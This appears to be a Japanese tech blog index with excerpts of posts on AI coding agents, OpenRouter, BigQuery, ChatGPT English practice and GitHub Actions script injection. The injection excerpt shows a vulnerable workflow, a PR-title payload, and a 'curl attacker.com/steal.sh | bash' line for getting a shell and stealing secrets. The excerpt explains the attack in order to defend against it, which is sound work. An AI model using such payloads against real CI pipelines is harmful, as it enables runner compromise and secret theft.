Claude Codeのハルシネーション対策 — Anti-Hallucination Protocolという考え方

Claude Code などの LLM エージェントを業務で使う際、最大のリスクは**ハルシネーション(幻覚)**です。プロンプトの改善ばかりが注目されがちですが、本当に必要なのは「仕組みで縛る」アプローチです。 きっかけとなった事故 ある開発者が実際に遭遇した事故が、この議論のきっかけです: which コマンドの結果だけで「未インストール」と診断されたが、コードは PATH 外のディレクトリを直接参照していた。ログを1行も読まずに断言。 LLM エージェントは自信に満ちた口調で誤った結論を出すことがあり、人間がそれを鵜呑みにしてしまうリスクがあります。 Anti-Hallucination Protocol の4つの柱 提唱されている Anti-Hallucination Protocol は、以下の4つのルールで構成されます: 1. 事実主張にはツール実行による検証を義務化 LLM が「〜がインストールされていない」「〜が原因です」と主張する場合、必ず対応するコマンドやツールを実行して裏付けを取ることを求めます。推測だけで結論を出すことを許容しません。 2. 禁止パターンの明示 以下の4つのパターンを明示的に禁止します: パターン 説明 推測診断 十分な証拠なしに原因を断定する 確認なし否定 実際に確認せず「存在しない」「動かない」と主張する 記憶による主張 過去の学習データだけに基づく事実主張 自信に満ちた誤り 高い確信度で不正確な情報を提供する 3. 違反時のインシデント記録と伝播 ハルシネーションが検出された場合、インシデントとして記録し、全プロジェクト横断で伝播させます。これにより同じ失敗パターンを繰り返さない仕組みを構築します。 4. プロジェクト設定への組み込み CLAUDE.md や類似の設定ファイルにルールを記述し、プロジェクト単位で一貫したガードレールを維持します。 2026年のハルシネーション対策の現状 2026年3月時点で、各 LLM のハルシネーション率は改善が進んでいます。LLM Hallucination Index 2026 によると、Claude Sonnet 4.6 は BS 検出成功率 91.0%、誤検出率 3.0% とトップクラスの精度を示しています。 しかし、モデル性能の向上だけでは不十分です。特に以下の場面ではハルシネーションが発生しやすいことが報告されています: コンテキスト圧縮後: 長い会話でコンテキストが圧縮されると、計画と実装の乖離が起きやすい Plan Mode での実装フェーズ: 計画作成後の実装で、計画にない機能を追加してしまう 実践的な対策 CLAUDE.md への記述例 1 2 3 4 5 6 ## Anti-Hallucination Rules - ファイルの存在確認は必ず `ls` や `cat` で実行すること - パッケージのインストール状況は `which` だけでなく、実際のインポートやバージョン確認で検証すること - エラーの原因を主張する前に、必ずログファイルを読むこと - 「〜のはずです」「おそらく〜」という推測を事実として扱わないこと CLEO のようなツールの活用 CLEO は Claude Code 向けのタスク管理ツールで、4層の Anti-Hallucination 保護と SQLite による不変の監査証跡を提供します。 ...

2026年3月8日 · 2 分

OpenClaw × Telegram Forum Topics — AIとの対話を構造化して生産性を上げる方法

OpenClaw を Telegram で使っている人に向けて、Forum Topics を活用した構造化テクニックが海外で話題になっています。ブックマーク 2,000 件を突破したこの手法を紹介します。 Forum Topics でできること Telegram の Forum Topics 機能を OpenClaw と組み合わせると、以下のことが実現できます: 会話をカテゴリ分け — 仕事、開発、健康、趣味など、トピックごとに独立した LLM セッションを持てる 文脈が混ざらない — 各トピックが独立したセッションになるため、異なるコンテキストが干渉しない cron ジョブ・定期通知の自動ルーティング — 関連するトピックに自動で振り分け メール転送による自動処理 — ボットにメールを転送するだけで、適切なトピックで自動的に処理 設定方法 設定はシンプルです: BotFather で「Threaded Mode」を ON にする OpenClaw に Forum Topics を使うよう指示する これだけで、トピックベースの構造化された AI アシスタント環境が整います。 実践例: AI が部門別の秘書チームになる この手法を紹介した Typefully の共同創業者は、実際に自分のプロダクト運用でこの構造を活用しています: トピック 用途 General 一般的なやり取り Dev 開発タスク管理 Life 日常のタスク Health 健康管理 Racing レース準備 Finances 財務管理 まさに AI が部門別の秘書チーム として機能している状態です。 ...

2026年3月8日 · 1 分

OpenRouter で AI モデルを一元管理する — コスト削減と効率化の実践

AI モデルの利用が増えるにつれ、複数のプロバイダの API キーを管理する煩雑さやコストの把握が難しくなっていく。OpenRouter を使えば、1つの API キーで複数の AI モデルにアクセスでき、コスト管理も一元化できる。 OpenRouter とは OpenRouter は、複数の AI モデルプロバイダ(OpenAI、Anthropic、Google、Meta など)のモデルに単一の API エンドポイントからアクセスできるルーティングサービスだ。OpenAI 互換の API 形式を採用しているため、既存のコードからの移行も容易になっている。 料金体系 OpenRouter は無料から始められる。クレジットカードの登録も不要だ。 無料モデル: DeepSeek V3/R1、Google、Meta、Mistral など約27種類のモデルが無料で利用可能(1日50リクエスト、1分20リクエストの制限あり) 有料モデル: Claude や GPT-4 などのプレミアムモデルはプロバイダの正規料金で従量課金。最低金額やロックインなし BYOK(自分の API キー持ち込み): 月100万リクエストまで無料。以降は通常料金の5%の手数料 OpenRouter を使う3つのメリット 1. コスト効率の向上 各プロバイダと個別に契約する代わりに、OpenRouter 経由で利用することで支出を一元管理できる。用途に応じて安価なモデルと高性能なモデルを使い分けることで、全体のコストを最適化できる。 2. API キーの一元管理 複数のプロバイダの API キーを管理する必要がなくなる。1つの OpenRouter API キーだけで、さまざまなモデルにアクセスできる。 1 2 # OpenRouter API キーを設定するだけで複数モデルにアクセス可能 export OPENROUTER_API_KEY="sk-or-..." 3. 最新モデルへの素早い切り替え 新しいモデルがリリースされた際、OpenRouter 上で利用可能になればすぐに試すことができる。プロバイダごとにアカウント登録や API キー発行をする必要がない。 ...

2026年3月8日 · 1 分

はじめての記事

Hugo + GitHub Pages でブログサイトを構築しました

2026年3月8日 · 1 分

# OpenHands × Ollama ローカルLLM実践記 — Mac Studio M3 Ultra で動かすまでの全記録

OpenHands × Ollama ローカルLLM実践記 — Mac Studio M3 Ultra で動かすまでの全記録 TL;DR: OpenHands(旧OpenDevin)をMac Studio M3 Ultra(96GB)+ Ollama + Qwen3-Coder 30B で動かそうとした。Docker-in-Docker のビルド問題、Playwright依存、ランタイムイメージ手動構築を経てUI起動まで到達したが、30Bモデルのtool calling精度不足で実用には至らなかった。 1. OpenHands とは OpenHands(旧 OpenDevin)は、オープンソースのAIコーディングエージェントプラットフォーム。75以上のLLMプロバイダーに対応し、SWE-bench で Qwen3-Coder 使用時に 69.6% のスコアを記録している。 公式リポジトリ: https://github.com/All-Hands-AI/OpenHands 特徴: Web UI でブラウザから操作 Docker サンドボックスで安全にコード実行 CodeActAgent による自律的なタスク遂行 Playwright 統合によるブラウザ操作 2. 動機 — なぜ OpenHands を試したか 前回の実験で Qwen Code(CLI エージェント)を Ollama + Qwen3-Coder 30B で動かしたが、複雑な multi-step タスク(GitHub PR レビューなど)で tool calling が破綻する問題に直面した。 OpenHands は SWE-bench で高スコアを出しており、エージェントスキャフォールディングの力で同じ 30B モデルでも改善されるのでは?という仮説を検証するために試した。 ...

2026年3月6日 · 3 分

BigQuery ARRAY/STRUCT で速度3倍・コスト25%削減 --- JOINを消す「データの持ち方」最適化

BigQuery ARRAY/STRUCT で速度 3 倍・コスト 25% 削減 — JOIN を消す「データの持ち方」最適化 @yoshitake_l 氏が X で共有した、BigQuery のデータ構造変更による劇的な改善結果が注目を集めています。 BigQuery でデータの持ち方を変えるだけで、クエリ処理速度を 3 倍に、クエリコストを 25% 削減できたので共有。試したクエリは、1:N の 2 つのテーブルの N 側を集計し、1 側と JOIN するシンプルなもの。使ったのは、ARRAY と STRUCT というデータ構造です。 「データの持ち方を変えるだけ」で速度 3 倍・コスト 25% 削減。SQL のチューニングではなく、テーブル設計の変更でこの結果を得ています。本記事では、なぜ ARRAY/STRUCT が JOIN より高速でコストが低いのか、その技術的な仕組みと実践方法を解説します。 なぜ JOIN は遅くて高いのか BigQuery の分散処理とシャッフル BigQuery の課金と速度の問題を理解するには、まず分散処理の仕組みを知る必要があります。 BigQuery の JOIN 処理の流れ: 1. テーブル A を複数のスロット(ワーカーノード)に分散読み込み 2. テーブル B を複数のスロットに分散読み込み 3. JOIN キーに基づいて、データを適切なスロットに「再配置」 → これが「シャッフル」 4. 各スロットでマッチング処理を実行 5. 結果を統合 問題: ステップ 3 のシャッフルが最大のボトルネック ├── スロット間のネットワーク通信が発生 ├── 大量の中間データが移動 └── 通信待ちの間、スロットが遊休状態になる BigQuery のオンデマンド課金は「スキャンしたバイト数」に比例します。JOIN では両方のテーブルのキー列と必要列をすべてスキャンするため、スキャン量が増えます。さらに、JOIN に必要なシャッフル処理が実行時間を大幅に伸ばします。 ...

2026年3月6日 · 6 分

ChatGPT音声モード × 14日間英会話特訓 — 詰まった言葉がスラスラ出る4つの黄金プロンプト

ChatGPT 音声モード × 14 日間英会話特訓 — 詰まった言葉がスラスラ出る 4 つの黄金プロンプト @technocrat_s 氏のポストで紹介された記事が話題になっています。 【検証】ChatGPTと14日間、ガチの「英会話」特訓。詰まった言葉がスラスラ出る黄金プロンプト4つ ライフハッカー・ジャパンの記事(原文: MakeUseOf / Saikat Basu)は、在宅勤務でスピーキング力が錆びついたライターが ChatGPT の高度音声モード(Advanced Voice Mode)をコーチに見立て、14 日間の集中特訓を行った検証記事です。思考と発話の間の「0.5 秒の遅れ」を消すために設計された 4 つのプロンプトと、その結果を具体的に報告しています。 問題 — 「考えてから話す」0.5 秒の壁 著者の Saikat Basu 氏は MakeUseOf の元編集者で、MBA を持つテクノロジーライターです。在宅勤務が長くなるにつれ、ビデオ会議やチームコールで英語の発話に遅れが生じるようになりました。 在宅ワーカーのスピーキング劣化: 思考 → [0.5 秒の遅れ] → 発話 ↑ ・フィラー語(um, uh)の増加 ・語彙が出てこない ・文法ミスの自己修正ができない ・発音の曖昧化 「知っている英語」と「口から出る英語」の間にギャップがある — これは日本人英語学習者にも共通する課題です。文法や語彙の知識があっても、リアルタイムの発話ではその知識を引き出せない。Basu 氏はこのギャップを ChatGPT の音声モードで埋められるかを検証しました。 ChatGPT 高度音声モード — AI が「聞いて、話して、直す」 ChatGPT の Advanced Voice Mode は 2024 年後半に GPT-4o ベースで登場し、2025 年以降は無料ユーザーにも開放されています。 特徴 従来のテキストチャット 高度音声モード 応答速度 テキスト入力→テキスト出力 リアルタイム音声対話 発音フィードバック 不可能 母音・子音レベルで指摘可能 会話の自然さ ターン制 割り込み・相槌あり 感情表現 なし 9 種類のアクセント・声質選択 練習の心理的障壁 低い 低い(相手が AI なので恥ずかしくない) 従来の英会話レッスンとの最大の違いは予約不要・24 時間・何度でもやり直せることです。また「相手が AI なので失敗が恥ずかしくない」という心理的安全性も、スピーキング練習では非常に重要です。 ...

2026年3月6日 · 4 分

GitHub Actions スクリプトインジェクション完全解説 — ${{ }} を run に書いた瞬間、攻撃者にシェルを渡している

GitHub Actions スクリプトインジェクション完全解説 — ${{ }} を run に書いた瞬間、攻撃者にシェルを渡している 『GitHub CI/CD実践ガイド』著者の tmknom 氏(@tmknom)が、GitHub Actions のスクリプトインジェクションを解説した Zenn 記事を引用し、こう呼びかけています。 はい、というわけでしてね。みんな『GitHub CI/CD実践ガイド』を、穴が開くまで読んでくださいね! 引用されている kou_pg_0131 氏の Zenn 記事は、GitHub Actions の run ステップで ${{ }} テンプレート式を使う際のインジェクション脆弱性を実演付きで解説した記事です。2025〜2026年にかけて GitHub Actions のサプライチェーン攻撃が急増しており、この知識はすべての開発者にとって必須になっています。 何が危険なのか — 30秒で理解する 1 2 # 危険なコード - run: echo "PR title is ${{ github.event.pull_request.title }}" 一見無害なこのコード。しかし攻撃者が PR タイトルに以下を入力すると、任意のコマンドが実行されます。 "; echo INJECTED" 展開後のシェルコマンドは以下になります。 1 echo "PR title is "; echo INJECTED"" セミコロンでコマンドが分割され、echo INJECTED が実行されます。echo の代わりに curl attacker.com/steal.sh | bash を書けば、CI/CD ランナー上でリバースシェルの確立、シークレットの窃取、リポジトリの改ざんが可能です。 ...

2026年3月6日 · 3 分

Qwen Code ローカル運用実践記 — Mac Studio M3 Ultra で Ollama + qwen3-coder:30b を動かして分かったこと

Qwen Code ローカル運用実践記 — Mac Studio M3 Ultra で Ollama + qwen3-coder:30b を動かして分かったこと Qwen Code(Alibaba Cloud Qwen チームが開発したオープンソース CLI コーディングエージェント)を Mac Studio M3 Ultra(96GB)上で Ollama と組み合わせてローカル運用を試みた実践記録です。環境構築からツール呼び出しの限界まで、実際に手を動かして検証した結果をまとめます。 背景と目的 Claude Code は強力ですが、コードがクラウドに送信されるためプライバシーの懸念があります。Qwen Code は Apache 2.0 ライセンスのオープンソースで、Ollama と組み合わせれば完全ローカルで動作するため、機密コードベースでの利用が期待されます。 本記事の検証環境: 項目 スペック マシン Mac Studio M3 Ultra メモリ 96GB ユニファイドメモリ メモリ帯域 800 GB/s Ollama v0.15.6 Qwen Code v0.12.0(Fork からローカルビルド) モデル qwen3-coder:30b (18GB) ステップ1: リポジトリの Fork と Clone 調査・改造を前提に、まず QwenLM/qwen-code を Fork しました。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 # Fork(GitHub CLI) gh repo fork QwenLM/qwen-code --clone=false # devel ブランチを作成してデフォルトに設定 # main は upstream との sync 用にクリーンに保つ gh api repos/hdknr/qwen-code/git/refs \ -f ref="refs/heads/devel" \ -f sha="$(gh api repos/hdknr/qwen-code/git/ref/heads/main --jq '.object.sha')" gh repo edit hdknr/qwen-code --default-branch devel # Clone mkdir -p ~/Projects/qwen cd ~/Projects/qwen gh repo clone hdknr/qwen-code ブランチ戦略: ...

2026年3月6日 · 5 分

Qwen Code 初心者ガイド — 無料で使えるオープンソース CLI コーディングエージェント

Qwen Code 初心者ガイド — 無料で使えるオープンソース CLI コーディングエージェント Claude Code の無料オープンソース代替として注目を集めている Qwen Code。Alibaba Cloud の Qwen チームが開発したターミナルベースの AI コーディングエージェントで、1日1,000リクエストまで無料で利用できます。この記事では、初めて使う人にもわかるように、インストールから実践的な使い方まで解説します。 Qwen Code とは何か Qwen Code は、ターミナル(コマンドライン)で動く AI コーディングアシスタントです。自然言語で指示を出すと、コードの理解・生成・編集・実行を自律的に行います。 一言で言うと 「無料で使える Claude Code のオープンソース版」 Claude Code との違い 観点 Qwen Code Claude Code 料金 無料(OAuth で1日1,000リクエスト) 従量課金(API 使用量に応じて) ライセンス Apache 2.0(オープンソース) プロプライエタリ ベースモデル Qwen3-Coder Claude インターフェース ターミナル CLI ターミナル CLI IDE 統合 VS Code, Zed, JetBrains VS Code, JetBrains MCP サポート あり あり コード品質 実用的(オープンモデルとしてトップクラス) 最高品質 カスタマイズ 完全にカスタマイズ可能 限定的 できること コードベース全体を理解して質問に答える ファイルの作成・編集・削除 シェルコマンドの実行 Git 操作(コミット、diff 確認等) バグの発見と修正 テストの作成と実行 MCP サーバーとの連携 インストール手順 前提条件 Node.js 20 以上が必要です。まだインストールしていない場合は nodejs.org からダウンロードしてください。 ...

2026年3月6日 · 6 分